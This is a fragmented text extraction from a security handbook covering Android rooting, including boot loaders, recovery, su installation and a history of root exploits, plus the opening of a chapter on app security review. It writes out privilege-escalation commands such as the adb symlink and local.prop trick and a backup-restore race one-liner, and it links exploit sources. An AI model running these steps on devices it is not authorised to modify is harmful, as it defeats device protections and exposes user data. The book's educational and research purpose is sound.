mappings (AIDs), as well as the restrictions and capabilities enforced throughout the system
...
For each of these layers, we discussed key components, especially those
that are security related
...

This fairly high-level coverage of Android’s overall design helps frame the
remaining chapters, which dive even further into the components and layers
introduced in this chapter
...
It discusses several generic methods for doing so as well as
some past techniques that rely on specific vulnerabilities
...
indd

01:14:22:PM 02/24/2014

Page 56

CHAPTER

3
Rooting Your Device

The process of gaining super user privileges on an Android device is commonly
called rooting
...
This special account has rights and permissions over all files and
programs on a UNIX-based system
...

There are many reasons why someone would like to achieve administrative
privileges on an Android device
...
However, some people want to access or alter system
files to change a hard-coded configuration or behavior, or to modify the look
and feel with custom themes or boot animations
...
Also, a whole class of apps exists
that require root permissions to run
...

Regardless of your reason to root, you should be concerned that the process
of rooting compromises the security of your device
...

Further, it could leave an open door for someone to extract all user data from
the device if you lose it or it is stolen, especially if security mechanisms (such
as boot loader locks, or signed recovery updates) have been removed while
rooting it
...
indd

12:15:57:PM 03/04/2014

Page 57

58

Chapter 3 ■ Rooting Your Device

This chapter covers the process of rooting an Android device in a generic
way, without giving specific details about a concrete Android version or device
model
...
Finally, the chapter provides an overview of some flaws that have been
used for rooting Android devices in the past
...

W A R N I N G Rooting your device, if you do not know what you are doing, can
cause your phone to stop functioning correctly
...
Thankfully, most Android devices can be returned to the stock factory state if needed
...
The layout refers to the order, offsets, and sizes of
the various partitions
...

This low-level storage partitioning is crucial to proper device functionality
...
Two different
devices typically do not have the same partitions or the same layout
...
The most common of these
are the boot, system, data, recovery, and cache partitions
...




splash: Stores the first splash screen image seen right after powering on
the device
...

On some devices, the splash screen bitmap is embedded inside the boot
loader itself rather than being stored in a separate partition
...




recovery: Stores a minimal Android boot image that provides maintenance
functions and serves as a failsafe
...
This image contains the Android framework, libraries, system
binaries, and pre-installed applications
...
This is mounted as /data on a booted system
...
indd

12:15:57:PM 03/04/2014

Page 58

Chapter 3 ■ Rooting Your Device


cache: Used to store various utility files such as recovery logs and update
packages downloaded over-the-air
...




radio: A partition that stores the baseband image
...


Determining the Partition Layout
You can obtain the partition layout of a particular device in several ways
...

Following are the contents of this entry on a Samsung Galaxy Nexus running
Android 4
...
1:
shell@android:/data $ cat /proc/partitions
major minor #blocks name
31
179
179
179
179
179
179
179
179
259
259
259
259
259
259
179
179

0
0
1
2
3
4
5
6
7
0
1
2
3
4
5
16
8

1024
15388672
128
3584
20480
8192
4096
4096
8192
12224
16384
669696
442368
14198767
64
512
512

mtdblock0
mmcblk0
mmcblk0p1
mmcblk0p2
mmcblk0p3
mmcblk0p4
mmcblk0p5
mmcblk0p6
mmcblk0p7
mmcblk0p8
mmcblk0p9
mmcblk0p10
mmcblk0p11
mmcblk0p12
mmcblk0p13
mmcblk0boot1
mmcblk0boot0

In addition to the proc entry, it is also possible to get a mapping of these device
files to their logical functions
...
There, you should find a
directory called by-name, where each partition name is linked to its corresponding block device
...

shell@android:/dev/block/platform/omap/omap_hsmmc
...
indd

12:15:57:PM 03/04/2014

Page 59

59

60

Chapter 3 ■ Rooting Your Device
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx
lrwxrwxrwx

root
root
root
root
root
root

root
root
root
root
root
root

2013-01-30
2013-01-30
2013-01-30
2013-01-30
2013-01-30
2013-01-30

20:43
20:43
20:43
20:43
20:43
20:43

radio -> /dev/block/mmcblk0p9
recovery -> /dev/block/mmcblk0p8
sbl -> /dev/block/mmcblk0p2
system -> /dev/block/mmcblk0p10
userdata -> /dev/block/mmcblk0p12
xloader -> /dev/block/mmcblk0p1

Further still, there are other places where you can obtain information about
the partition layout
...
fstab file, the recovery log (/cache/
recovery/last_log), and the kernel logs (via dmesg or /proc/kmsg) are known
to contain partition layout information in some cases
...


Understanding the Boot Process
The boot loader is usually the first thing that runs when the hardware is powered
on
...
The boot loader itself is usually comprised of
multiple stages, but we only consider it as a whole here
...
Finally, it jumps
into the kernel to let it continue the boot process
...
For example, it will initialize memory, input/output
(I/O) areas, memory protections, interrupt handlers, the CPU scheduler, device
drivers, and so on
...

The init process is the father of all other user-space processes
...
The
/init
...
It specifies the actions
to take while initializing the operating system’s user-space components
...
One of the
services, Zygote, creates the Dalvik VM and starts the first Java component,
System Server
...

The following shows an excerpt from the init
...
You can find more information about the format of this file in

c03
...
txt file from the Android Open Source Project
(AOSP) repository
...
]
service adbd /sbin/adbd
disabled
[
...
]
service zygote /system/bin/app_process -Xzygote
/system/bin --zygote --start-system-server
socket zygote stream 660 root system
onrestart write /sys/android_power/request_state wake
onrestart write /sys/power/state on
onrestart restart media
onrestart restart netd
[
...
When this is complete, the system is considered
fully booted
...
This mode enables the
user to update the persistent storage at a low level through a process typically
called flashing
...
For example, the Samsung Galaxy
Nexus supports both the proprietary ODIN mode and fastboot
...
The fastboot client utility is a command-line tool that you
can obtain from the Android Software Development Kit (SDK) available at https://
developer
...
com/sdk/ or the AOSP repository
...
When certain key-press combinations are held during boot, the
boot loader starts download mode instead of doing the normal Android
kernel boot process
...
indd

12:15:57:PM 03/04/2014

Page 61

61

62

Chapter 3 ■ Rooting Your Device

device, but you can usually easily fi nd it online
...
Figure 3-1 shows the fastboot and ODIN mode screens
...
These protocols facilitate executing various tasks including
flashing NAND partitions, rebooting the device, downloading and executing
an alternate kernel image, and so on
...
Those restrictions can vary, depending on the manufacturer’s decision, but usually there is a cryptographic signature verification that prevents
booting and/or flashing unsigned code to the device
...

On Google Nexus devices, the boot loader is locked by default
...
If the
end user decides to run a custom kernel, recovery image, or operating system

c03
...
For these devices, unlocking
the boot loader is as simple as putting the device into fastboot mode and running
the command fastboot oem unlock
...

Some manufacturers also support unlocking the boot loaders on their devices,
on a per-device basis
...
However,
some cases revolve around some proprietary mechanism such as a website or
unlock portal
...
As of this writing, HTC,
Motorola, and Sony support unlocking at least some of their devices
...
If the device is
lost or stolen, all data on it can be recovered by an attacker simply by uploading
a custom Android boot image or flashing a custom recovery image
...

This includes Google accounts, documents, contacts, stored passwords, application data, camera pictures, and more
...
This ensures all
the end user’s data are erased and the attacker should not be able to access it
...
Even after
all data has been erased, it is possible to forensically recover erased data on some
devices
...
It is mainly used to apply updates downloaded manually or Over-the-Air (OTA)
...
In addition to applying OTA updates, the recovery can perform other
tasks such as wiping the user data and cache partitions
...

The stock Android recovery is intentionally very limited in functionality
...
android
...
html
...
In addition to using
key-presses, it is possible to instruct a booted Android system to reboot into
recovery mode through the command adb reboot recovery
...
android
...
html
...
indd

12:15:57:PM 03/04/2014

Page 63

63

64

Chapter 3 ■ Rooting Your Device

One of the most commonly used features of the recovery is to apply an update
package
...
This updater script
tells the Android recovery which operations to perform on the device to apply
the update modifications
...
Updates are cryptographically signed using
an RSA private key
...
This ensures only authenticated
updates can be applied
...

Extracting an OTA Update Package for Nexus 4
$ unzip 625f5f7c6524
...
625f5f7c
...
signed-occam-JOP40D-from-JOP40C
...
zip
signed by SignApk
inflating: META-INF/com/android/metadata
inflating: META-INF/com/google/android/update-binary
inflating: META-INF/com/google/android/updater-script
inflating: patch/system/app/ApplicationsProvider
...
p
inflating: patch/system/app/ApplicationsProvider
...
p
inflating: patch/system/app/BackupRestoreConfirmation
...
p
inflating: patch/system/app/BackupRestoreConfirmation
...
p
[
...
so
...
so
...
sh
inflating: recovery/recovery-from-boot
...
MF
inflating: META-INF/CERT
...
RSA

Custom Android recovery images exist for most devices
...

The most common modifications included in custom recovery images are


Including a full backup and restore functionality (such as NANDroid script)



Allow unsigned update packages, or allow signed packages with custom
keys



Selectively mounting device partitions or SD card



Provide USB mass storage access to SD card or data partitions

c03
...
Figure 3-2
shows stock and ClockworkMod recovery screens
...


Rooting with an Unlocked Boot Loader
The process of rooting culminates in having an su binary with the proper set-uid
permissions on the system partition
...
The su binary is usually accompanied by an Android application, such
as SuperUser or SuperSU, that provides a graphical prompt each time an application requests root access
...
These su wrapper Android

c03
...

N O T E The latest version of Chainfire SuperSU can be downloaded as a recovery update package from http://download
...
eu/supersu or as a
standalone application from Google Play at https://play
...
com/store/
apps/details?id=eu
...
supersu
...
google
...
koushikdutta
...
The source code is available at https://github

...


On devices with an unlocked or unlockable boot loader, gaining root access is
very easy, as you do not have to rely on exploiting an unpatched security hole
...
If you haven’t done it already, depending on the device you should either use fastboot oem unlock as described in
the “Locked and Unlocked Boot Loaders” section, or use a vendor-specific boot
loader unlock tool to legitimately unlock the device
...

N O T E The boot loader unlock portal for Motorola is available at https://
motorola-global-portal
...
com/app/standalone/bootloader/
unlock-your-device-a
...
htcdev
...

The boot loader unlock portal for SonyEricsson is available at http://
unlockbootloader
...
com/
...
At this point, there are several ways to include the
appropriate su binary for the device’s architecture in the system partition, with
the correct permissions
...
In this example, we unpack
an ext4 formatted system image, mount it, add an su binary, and repack it
...

mkdir systemdir
simg2img system
...
raw
mount -t ext4 -o loop system
...
img systemdir
umount systemdir

c03
...
Visit http://source
...
com/source/
building
...
These
build configurations provide root access by default:
curl http://commondatastorage
...
com/git-repo-downloads/repo \
-o ~/bin/repo
chmod a+x ~/bin/repo
repo init -u https://android
...
com/platform/manifest
repo sync
source build/envsetup
...
For example, the following command shows how to flash this image
using the fastboot protocol:
fastboot flash system custom-system
...
This
allows copying the su binary into the system partition and setting the appropriate permissions through a custom update package
...


To do this, download a custom recovery image and su update package
...
Similarly, the su update package can be SuperSU, SuperUser, or another
of your choice
...
You should place both downloads into the device’s storage, typically on
the SD card mounted as /sdcard
...
Next, put the device into fastboot mode
...
Now, open a command prompt, and type fastboot boot recovery
...
img is the raw recovery image you downloaded
...
From the recovery menu, select the option to apply an update zip file and
browse to the folder on your device storage where you have placed the
update package with the su binary
...
1 or later contain a new feature called
sideload
...
To sideload an update, run the command adb
sideload su-package
...
zip is the filename of the update
package on your computer’s hard drive
...
indd

12:15:57:PM 03/04/2014

Page 67

67

68

Chapter 3 ■ Rooting Your Device

After unlocking the boot loader on some devices, you can boot unsigned
code but you can’t flash unsigned code
...
In
this scenario, you would use dd to write a custom recovery image directly to
the block device for the recovery partition
...

First you need to identify which type of boot loader lock you have; it can
vary depending on the manufacturer, carrier, device variant, or software version within the same device
...
Sometimes signature checks on the same
device are enforced differently when using fastboot instead of the manufacturer’s proprietary download mode
...

Some locked boot loaders only enforce signature verification on selected
partitions; a typical example is having locked boot and recovery partitions
...
In this scenario, you can perform
rooting by editing the system partition of a stock image as described in the
“Rooting with an Unlocked Boot Loader” section
...
In this case, it is possible to get root access
through adb shell by modifying the default
...
On some
devices, the stock recovery image allows applying updates signed with the default
Android test key
...
It is included in the build/target/product/security directory
in the AOSP source tree
...
It is unknown whether the manufacturer has left this
on purpose or not, but this is known to work on some Samsung devices with
Android 4
...

In the worst-case scenario, boot loader restrictions won’t allow you to boot
with a partition that fails signature verification
...
indd

12:15:57:PM 03/04/2014

Page 68

Chapter 3 ■ Rooting Your Device

other techniques to achieve root access, as described in the “Gaining Root on
a Booted System” section
...
A rooting method like this is also widely known as a soft root because the attack is
almost entirely software based
...
There are a vast number of possibilities due to the sheer
number of areas in which issues could be introduced and types of mistakes
programmers could make
...
A typical security flaw in any of these set-uid binaries
can lead to privilege escalation and subsequently yield root access
...
Such an exploit enables you to execute arbitrary
code as root
...

As you will see in Chapter 12, these exploits are becoming more difficult to
develop as Android matures
...


Abusing adbd to Get Root
It is important to understand that the adbd daemon will start running as root
and drop its privileges to the shell user (AID_SHELL) unless the system property
ro
...
This property is read-only and is usually set to ro
...

The adbd daemon will also start as root without dropping privileges to shell
if the property ro
...
qemu is set to 1 (to start adbd running as root on the
Android emulator), but this is also a read-only property that will not normally
be set on a real device
...
2 will read the /data/local
...
As of Android 4
...
debuggable is set to 1
...
prop file and the ro
...
kernel
...
Keep those in mind, as you
will see some exploits using them in the “History of Known Attacks” section
later in this chapter
...
indd

12:15:57:PM 03/04/2014

Page 69

69

70

Chapter 3 ■ Rooting Your Device

NAND Locks, Temporary Root, and Permanent Root
Some HTC devices have a security flag (@secuflag) in the radio Non-Volatile
Random Access Memory (NVRAM) which is checked by the device boot loader
(HBOOT)
...
The NAND lock prevents
writing to the system, boot, and recovery partitions
...
This makes custom system
ROMs, custom kernels, and custom recovery modifications impossible
...
However, the NAND lock causes any changes to be lost on reboot
...

To achieve a permanent root on HTC devices with a NAND lock, one of two
things must be done
...

Second, you can flash the device with a patched or engineering HBOOT that
does not enforce NAND locking
...
Figure 3-3 shows a locked and unlocked HTC HBOOT
...
This could be accomplished
on some devices by unofficial boot loader unlock tools such as AlphaRev (available at http://alpharev
...
com/), which later merged into the Revolutionary
...
io/)
...
In
most cases, reflashing a stock HBOOT re-enables the device security flag (S-ON)
...
io exploits available at http://unlimited
...
indd

12:15:57:PM 03/04/2014

Page 70

Chapter 3 ■ Rooting Your Device

some devices by combining several exploits present in HTC’s Android ROMs
and the device’s baseband
...
com/tmzt/g2root-kmod/tree/master/scotty2/gfree under the GPL3
license
...
The eMMC memory, which holds the baseband partition,
is booted in read-only mode when the bootloader initializes the hardware
...
Finally, it installs a MultiMediaCard (MMC) block
request filter in the kernel to remove the write protection on the hidden radio
settings partition
...
First the user should run the command fastboot oem get_identifier_
token
...

2
...
bin file unique for his phone
...
bin
...
bin file is valid, the phone allows using the standard
fastboot flash commands to flash unsigned partition images
...
Figure
3-4 depicts the general workflow for unlocking devices
...

Other devices, such as some Toshiba tablets, also have NAND locks
...
This module is based on SEAndroid and
prevents remounting the system partition for writing
...
On phones without NAND locks, you only need write access
to the system partition
...

With NAND locks out of the picture, you can simply remount the system
partition in read/write mode, place an su binary with set-uid root permissions,
and remount it in read-only mode again; optionally, you can install an su wrapper such as SuperUser or SuperSU
...
indd 12:15:57:PM 03/04/2014

Page 71

71

72

Chapter 3 ■ Rooting Your Device

Boot Loader
Locked Device

Unlock Portal

Boot Loader
Unlocked

Step 1

Step 2

Step 3

Step 4

User gets the phone’s
unlock token using
fastboot

User submits the
unlock token token to
the OEM unlock portal

The unlock portal
validates the
token and sends
the unlock key

The user unlock the
device using the
provided unlock key
and fastboot

USER

Figure 3-4: General boot loader unlock workflow

A typical way of automating the process just described is by running the
following commands from a host computer connected to an Android device
with USB debugging enabled:
adb
adb
adb
adb
adb
adb

shell mount -o remount,rw /system
adb push su /system/xbin/su
shell chown 0
...
apk

Another way of retaining persistent root access is by writing a custom recovery
into the recovery partition using the dd command on the Android device
...

First, you need to identify the location of the recovery partition on the device
...


c03
...
img /sdcard/
adb shell dd if=/sdcard/custom-recovery
...

adb reboot recovery

History of Known Attacks
The remainder of this section discusses numerous previously known methods
for gaining root access to Android devices
...
Although a few of these issues affect the larger Linux ecosystem, most
are Android specific
...
In each case we discuss the root cause of the vulnerability and
key details of how the exploit leveraged it
...
Although this is not a common
occurrence, it does happen from time to time
...

If they are overwhelming, or you are already intimately familiar with the inner
workings of these exploits, feel free to skip past them
...
Chapter 8 covers a few of
these exploits in more detail
...
6
...
6
...
4 and 2
...
4 through 2
...
37
...


c03
...
However, the exploit for
Android (Linux on the ARM architecture) was released by Christopher Lais
(Zinx), is named asroot, and is published at http://g1files
...
com/Zinx
/android-root-20090816
...
gz
...

The asroot exploit introduces a new “
...
This section contains code that sets the current user identifier
(UID) and group identifier (GID) to root
...
This causes the code in the “
...


Recovery: Volez
A typographical error in the signature verifier used in Android 2
...
0
...
This issue resulted in
the ability to modify the contents of a signed OTA recovery package
...
By creating a specially crafted zip file, it was possible to inject an su
binary into the signed OTA zip file
...
org/content/project/volez
...
1
...

It was assigned CVE-2009-1185
...

The exploit relies on udev code failing to verify the origin of a NETLINK
message
...
The
original Exploid exploit released by Sebastian Krahmer (“The Android Exploid
Crew”) had to be run from a writable and executable directory on the device
...

Second, it created a file hotplug in the current directory, containing the path to
the exploid binary
...
indd

12:15:57:PM 03/04/2014

Page 74

Chapter 3 ■ Rooting Your Device

directory, pointing to /proc/sys/kernel/hotplug
...

When init received this message, and failed to validate its origin, it proceeded to copy the contents of the hotplug file to the file data
...
When the next hotplug event occurred (such as disconnecting
and reconnecting the Wi-Fi interface), the kernel executed the exploid binary
with root privileges
...

It proceeded to remount the system partition in read/write mode and created
a set-uid root shell as /system/bin/rootshell
...
In Android
versions up to 2
...
Sebastian Krahmer used this missing check in
adbd to create the RageAgainstTheCage exploit available at http://stealth

...
net/xSports/RageAgainstTheCage
...

The exploit has to be run through the ADB shell (under the shell UID)
...
This is a kernel-enforced hard limit called RLIMIT _
NPROC, which specifies the maximum number of processes (or threads) that
can be created for the real UID of the calling process
...
Unfortunately, this time adbd
can’t drop privileges to shell because the process limit has been reached for
that user
...
Once successful, adbd provides a root
shell through adb shell command
...
As you might guess, the zygote process runs as root
...

Very similar to RageAgainstTheCage, the Zygote process in Android versions
up to 2
...
Again, after exhausting the maximum number of processes for the
application’s UID, zygote fails to lower its privileges and launches the application as root
...
indd

12:15:57:PM 03/04/2014

Page 75

75

76

Chapter 3 ■ Rooting Your Device

This vulnerability was exploited by Joshua Wise in early releases of the
Unrevoked unlock tool
...
blogspot
...
es/2011/02/
zimperlich-sources
...
com/unrevoked/zysploit
...
It is similar to POSIX Shared Memory (SHM), but with different behavior
and a simpler file-based application programming interface (API)
...

Two popular root exploits used a vulnerability in the ashmem implementation
of Android versions prior to 2
...
In affected versions, ashmem allowed any user
to remap shared memory belonging to the init process
...
This vulnerability has the Common
Vulnerabilities and Exposures (CVE) identifier CVE-2011-1149
...
secure property to 0
...
secure property enabled
root access through the ADB shell
...
blogspot
...
es/2011/01/adb-trickery-again
...

The psneuter exploit by Scott Walker (scotty2), used the same vulnerability
to restrict permissions to the system properties space
...
secure property to determine whether or not to
drop privileges to the shell user
...
secure,
it assumed that ro
...
Again, this
enabled root access through the ADB shell
...
com/tmzt/g2root-kmod/tree/scotty2/scotty2/psneuter
...
blogspot
...
es/2011/04/yummy-yummy-gingerbreak
...

The volume manager daemon (vold) on Android 3
...
x before 2
...
4
trusts messages that are received from a PF_NETLINK socket, which allows
executing arbitrary code with root privileges via a negative index that
bypasses a maximum-only signed integer check
...
indd

12:15:57:PM 03/04/2014

Page 76

Chapter 3 ■ Rooting Your Device

Prior to triggering the vulnerability, the exploit collects various information
from the system
...
It then inspects the system’s C library (libc
...
Next, it parses the Executable
and Linkable Format (ELF) header of the vold executable to locate the Global
Offset Table (GOT) section
...
fstab file to find the device’s
/sdcard mount point
...

After collecting information, the exploit triggers the vulnerability by sending
malicious NETLINK messages with the calculated negative index value
...

After one of the targeted GOT entries is overwritten, vold ends up executing
the GingerBreak binary with root privileges
...
Here, the exploit first remounts /data to remove the
nosuid flag
...
Finally, it exits the
new process (running as root) and executes the newly created set-uid root shell
from the original exploit process
...


PowerVR: levitator
In October 2011, Jon Larimer and Jon Oberheide released the levitator exploit at
http://jon
...
org/files/levitator
...
This exploit uses two distinct
vulnerabilities that affect Android devices with the PowerVR SGX chipset
...
3
...

CVE-2011-1350: The PowerVR driver fails to validate the length parameter
provided when returning a response data to user mode from an ioctl system call, causing it to leak the contents of up to 1MB of kernel memory
...


The levitator exploit takes advantage of these two vulnerabilities to surgically
corrupt kernel memory
...

A more detailed case study of this vulnerability is provided in Chapter 10
...
indd

12:15:57:PM 03/04/2014

Page 77

77

78

Chapter 3 ■ Rooting Your Device

Libsysutils: zergRush
The Revolutionary team released the popular zergRush exploit in October 2011;
sources are available at https://github
...
The
vulnerability exploited was assigned CVE-2011-3874, as follows:
Stack-based buffer overflow in libsysutils in Android 2
...
x through 2
...
2
and 2
...
x through 2
...
6 allows user-assisted remote attackers to execute
arbitrary code via an application that calls the FrameworkListener::
dispatchCommand method with the wrong number of arguments, as
demonstrated by zergRush to trigger a use-after-free error
...
so library and runs as root
...
so library
...
This executes the payload with root privileges, which drops a root
shell and changes the ro
...
qemu property to 1
...

A more detailed case study of this vulnerability is provided in Chapter 8
...
6
...


The /proc//mem proc file system entry is an interface that can be used
to access the pages of a process’s memory through POSIX file operations such
as open, read, and lseek
...
6
...

Jay Freeman (saurik) wrote the mempodroid exploit for Android based on
a previous Linux exploit, mempodipper, by Jason A
...
The
mempodroid exploit uses this vulnerability to write directly to the code segment of the run-as program
...
Because run-as is statically
linked on Android, the exploit needs the address in memory of the setresuid
call and the exit function, so that the payload can be placed exactly at the right

c03
...
Sources for the mempodroid exploit are available at https://github
...

A more detailed case study of this vulnerability is provided in Chapter 8
...
Most of them are introduced by custom OEM modifications
that are not present in stock Android
...
org/blog/
...
0 had a bug in the init functions for do_chmod,
mkdir, and do_chown that applied the ownership and file permissions specified
even if the last element of their target path was a symbolic link
...
rc script
...
After rebooting, you can create or modify the /data/local
...
kernel
...

The commands to exploit this flaw are as follows:
adb
adb
adb
adb
adb

shell rm -r /data/local/tmp
shell ln -s /data/ /data/local/tmp
reboot
shell "echo 'ro
...
qemu=1' > /data/local
...
For example, the ASUS Transformer Prime running Android 4
...
3 is
vulnerable to this variant
...
2 apply O _NOFOLLOW semantics to prevent
this class of symbolic link attacks
...
0 introduced the ability to do full device backups through the adb
backup command
...
ab, which is a compressed TAR file with a prepended header
...

There were two security issues in the initial implementation of the restore
process that were fixed in Android 4
...
1
...
indd

12:15:57:PM 03/04/2014

Page 79

79

80

Chapter 3 ■ Rooting Your Device

directories accessible by other applications
...

To exploit these issues, Andreas Makris (Bin4ry) created a specially crafted
backup file with a world readable/writeable/executable directory containing
100 files with the content ro
...
qemu=1 and ro
...
When
the contents of this file are written to /data/local
...
The original exploit can be downloaded at http://
forum
...
com/showthread
...

The following one-liner, if executed while the adb restore command is running, causes a race between the restore process in the backup manager service
and the while loop run by the shell user:
adb shell "while ! ln -s /data/local
...
android
...
prop, making adbd run as root in the next reboot
...
Basically, any application can access the /dev
/exynosmem device file, which allows mapping all physical RAM with read and
write permissions
...
The
original post is available at http://forum
...
com/showthread

...

First, the exploit maps kernel memory and changes the format string for the
function handling /proc/kallsyms in order to avoid the kptr_restrict kernel mitigation
...
Once found, it patches the function to remove
a permission check and executes the setresuid system call in user space to
become root
...

Later, alephzain created a one-click rooting application called Framaroot
...
This application works on devices
based on the Exynos4 chipset and as well as devices based on the TI OMAP3
chipset
...
indd

12:15:57:PM 03/04/2014

Page 80

Chapter 3 ■ Rooting Your Device

the Exynos4 issue
...
This allows bypassing the additional
validation and again enables overwriting kernel memory
...
azimuthsecurity
...
html
...
c in the Qualcomm Innovation Center (QuIC) Diagnostics
(aka DIAG) kernel-mode driver for Android 2
...
2 allows attackers to execute arbitrary code or cause a denial of service (incorrect pointer
dereference) via an application that uses crafted arguments in a local
diagchar_ioctl call
...
By reading from the /sys/class/leds/
lcd-backlight/reg file, it was possible to cause the kernel to process data
structures in user-space memory
...

The diaggetroot exploit, for the HTC J Butterfly device, also used this vulnerability
...
To overcome this situation, the researcher abused
a content provider to obtain an open file descriptor to the device
...
You can download the exploit code at https://docs
...
com/
file/d/0B8LDObFOpzZqQzducmxjRExXNnM/edit?pli=1
...

However, if you don’t take any precautions to fix the open paths to gain root
access, the system security can be easily compromised by an attacker
...
It
went through legitimate boot loader unlock methods, such as the ones present
in devices with an unlocked boot loader, as well as other methods that allow
gaining and persisting root access on a device with a locked boot loader
...
indd

12:15:57:PM 03/04/2014

Page 81

81

82

Chapter 3 ■ Rooting Your Device

you saw an overview of the most famous root exploits that have been used during the past decade to root many Android devices
...
It covers common
security issues affecting Android applications and demonstrates how to use
free, public tools to perform application security assessments
...
indd

12:15:57:PM 03/04/2014

Page 82

CHAPTER

4
Reviewing Application Security

Application security has been a hot-button topic since even before Android
existed
...
With the advent of mobile
applications, that very same cycle is repeating
...
It concludes with
two case studies demonstrating discovery and exploitation of application flaws
using common tools
...
Types of issues
range from sensitive information leaks to critical code or command execution
vulnerabilities
...

This section covers some of the security issues typically found during Android
app security testing engagements and public research
...
As secure app development practices become more commonplace, and Android’s own application programming interfaces (APIs) evolve,

83

c04
...


App Permission Issues
Given the granularity of the Android permission model, there is an opportunity
for developers to request more permissions for their app than may be required
...
Although the developer reference docs describe most of the
permission requirements for given classes and methods, they’re not 100 percent
complete or 100 percent accurate
...
For example, in 2012, researchers
Andrew Reiter and Zach Lanier attempted to map out the permission requirements for the Android API available in Android Open Source Project (AOSP)
...

Among some of the findings in this mapping effort, they discovered inconsistencies between documentation and implementation for some methods in
the WiFiManager class
...
Figure 4-1 shows
a screenshot of the Android development documentation of this method
...
2),
which indicates a call to enforceCallingOrSelfPermission, which checks
to see if the caller bears the ACCESS_WIFI_STATE permission by way of
enforceChangePermission:
public void startScan(boolean forceActive) {
enforceChangePermission();
mWifiStateMachine
...

private void enforceChangePermission() {
mContext
...
Manifest
...
CHANGE_WIFI_STATE,
"WifiService");
}

c04
...
Figure 4-2 shows a screenshot of the Android
development documentation for this method
...
2), which implements the Telephony interface, you see the
getNeighboringCellInfo method actually checks for the presence of the ACCESS_
FINE_LOCATION or ACCESS_COARSE_LOCATION permissions—neither of which are
the nonexistent, invalid permission specified in the documentation:
public List getNeighboringCellInfo() {
try {
mApp
...
Manifest
...
ACCESS_FINE_LOCATION,
null);
} catch (SecurityException e) {
// If we have ACCESS_FINE_LOCATION permission, skip the check
// for ACCESS_COARSE_LOCATION
// A failure should throw the SecurityException from
// ACCESS_COARSE_LOCATION since this is the weaker precondition
mApp
...
Manifest
...
ACCESS_COARSE_LOCATION, null);
}

These kinds of oversights, while perhaps seemingly innocuous, often lead to
bad practices on the part of developers, namely undergranting or, worse, overgranting of permissions
...

As for overgranting, it’s more a security issue; imagine a buggy, overprivileged
app exploited by a malicious app, effectively leading to privilege escalation
...
slideshare
...


When analyzing Android applications for excessive permissions, it’s important
to compare what permissions are requested to what the application’s purpose
really is
...
For these, the desired functionality can be achieved by
deferring to the Camera or Messaging applications, and letting them handle

c04
...
The “Mobile Security
App” case study later in the chapter demonstrates how to identify where in the
application’s components those permissions are actually exercised
...
Unfortunately, this
doesn’t always apply in the mobile application world
...

This issue tends to manifest in one or more of the following ways:


Weak encryption or lack of encryption



Strong encryption, but lack of regard for security warnings or certificate
validation errors



Use of plain text after failures



Inconsistent use of transport security per network type (for example, cell
versus Wi-Fi)

Discovering insecure transmission issues can be as simple as capturing traffic
sent from the target device
...
In a pinch, the Android emulator supports both proxying of traffic as
well as dumping traffic to a PCAP-format packet trace
...

A prominent public example of insecure data transmission was in the implementation of Google ClientLogin authentication protocol in certain components
of Android 2
...
3
...
This protocol allows for applications to request an
authentication token for the user’s Google account, which can then be reused
for subsequent transactions against a given service’s API
...
1 through 2
...
3 and the Picasa Sync service on Android 2
...
4
sent the Google ClientLogin authentication token over plaintext HTTP
...
As
numerous tools and techniques exist for conducting man-in-the-middle attacks
on Wi-Fi networks, interception of this token would be easy—and would spell
bad news for a user on a hostile or untrusted Wi-Fi network
...
uni-ulm
...
html
...
indd

01:15:7:PM 02/24/2014

Page 86

Chapter 4 ■ Reviewing Application Security

Insecure Data Storage
Android offers multiple standard facilities for data storage—namely Shared
Preferences, SQLite databases, and plain old files
...
The
most common mistakes include plaintext storage of sensitive data, unprotected
Content Providers (discussed later), and insecure file permissions
...
Reported by Justin Case (jcase) via http://AndroidPolice
...
Furthermore, the content was
unencrypted and included configuration data and IM logs
...
skype
...
db
-rw-rw-rw- app_152 app_152 119528 2011-04-13 00:08 main
...
db
-rw-rw-rw- app_152 app_152
3522 2011-04-12 23:39 config
...
lck
-rw-rw-rw- app_152 app_152
61440 2011-04-13 00:08 bistats
...
db-journal
-rw-rw-rw- app_152 app_152
33344 2011-04-13 00:08 bistats
...
skype
...
xml
jcaseap

The plaintext storage aspect aside, the insecure file permissions were the result
of a previously less-well publicized issue with native file creation on Android
...
This rendered the file permissions read/
write for the owning user ID and group ID
...
The Skype client used native code for much of its functionality, including
creating and interacting with these files
...
1, the umask for Zygote has been set to a more secure value
of 077
...


c04
...
androidpolice

...


Information Leakage Through Logs
Android’s log facility is a great source of information leaks
...
Even system processes, such as the ActivityManager, log
fairly verbose messages about Activity invocation
...

N O T E The READ_LOGS permission is no longer available to third-party applications
as of Android 4
...
However, for older versions, and rooted devices, third-party access
to this permission and to the logcat command is still possible
...
intent
...
VIEW
dat=http://www
...
com/
cmp=com
...
android
...
android
...
BrowserActivity
(has extras) u=0} from pid 11352
I/ActivityManager(13738): Start proc com
...
android
...
google
...
browser/com
...
browser
...
The details of the Intent being passed are
clearly visible, and include the URL (http://www
...
com/) the user is visiting
...

A more cogent example of excessive logging was found in the Firefox browser
for Android
...
Firefox on Android logged browsing activity, including URLs
that were visited
...
walmart
...
walmart
...
indd

01:15:7:PM 02/24/2014

Page 88

Chapter 4 ■ Reviewing Application Security
AB
E/GeckoConsole(17773): [JavaScript Warning: "Error in parsing value for
'background'
...
" {file:
"https://mobile
...
com/m/pharmacy;jsessionid=83CB330691854B071CD172D41DC2C
3AB?wicket:bookmarkablePage=:com
...
mobile
...
rx
...
PrivacyPractices"
line: 0}]

In this case, a malicious application (with log access) could potentially harvest
these session identifiers and hijack the victim’s session on the remote web application
...
mozilla
...
cgi?id=825685
...
As both data sources and sinks, interacting with them is
highly dependent on their implementation; and their abuse case dependent on
their purpose
...
For example, an
application may define an IPC endpoint that should be accessible only by other
components in that application or that should be accessible by other applications
that request the required permission
...
Content Providers expose access to structured
data by design and therefore are vulnerable to a range of attacks, such as injection
or directory traversal
...

Broadcast Receivers are often used to handle implicit Intent messages, or
those with loose criteria, such as a system-wide event
...
Registered Broadcast Receivers with
an intent-filter matching this action receive this message
...

N O T E Implicit Intents are those without a specific destination component, whereas
explicit Intents target a particular application and application component (such as
“com
...
exampleapp
...


Services, as discussed in Chapter 2, facilitate background processing for an
app
...
indd

01:15:7:PM 02/24/2014

Page 89

89

90

Chapter 4 ■ Reviewing Application Security

accomplished using Intents
...
A bound service may also expose
an additional layer of application-specific functionality to other applications
...

A good example of the potential effect of exploiting an unprotected IPC
